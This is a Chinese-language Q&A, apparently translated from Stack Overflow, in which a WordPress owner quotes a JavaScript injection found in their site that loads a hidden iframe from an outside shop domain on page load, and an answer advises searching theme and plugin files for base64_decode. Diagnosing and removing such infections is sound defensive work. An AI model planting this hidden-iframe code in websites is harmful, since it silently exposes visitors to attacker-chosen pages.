javascript - 查找 iframe 注入(inject)并从站点中删除

Question

我浏览了我的网站并注意到以前不存在的滚动。

检查后我发现有一个不可见的 iFrame。

在看到源页面中的 iframe 后，我查看了我所有的站点文件，但找不到与源页面中相同的代码行。

我运行我的网站以查找恶意软件，但一切正常。几个月前我确实收到了 Google 的警告，但我的主机删除了恶意文件并且 Google 批准了清理并且仍然这样做。但现在我看到这个带有 url 的不可见对象。

源脚本:

<script language="JavaScript">
if(document.loaded) {
  showBrowVer();
} else {
  if (window.addEventListener) {
    window.addEventListener('load', showBrowVer, false);
  } else {
    window.attachEvent('onload', showBrowVer);
  }
}

function showBrowVer() {
  var divTag=document.createElement('div');
  divTag.id='dt';
  document.body.appendChild(divTag);
  var js_kod2 = document.createElement('iframe');
  js_kod2.src = 'http://24corp-shop.com';
  js_kod2.width = '250px';
  js_kod2.height = '320px';
  js_kod2.setAttribute('style','visibility:hidden');
  document.getElementById('dt').appendChild(js_kod2);
}
</script>

我看到它是由 wp_head(); 引入的，但我查看了它并没有发现任何可疑的东西。

有人有关于寻找此注入(inject)以将其从我的 WP 站点手动删除的提示吗？

Answer 1

免费的 WP 主题/插件因使用 base64_encode 在源代码中“隐藏”恶意代码或不需要的代码而臭名昭著。基本上，他们将编码文本存储在其中一个文件中，然后对其进行 base64_decode 并将结果呈现为 html。我会尝试在源代码中搜索 base64_decode 以查看它是否正在完成。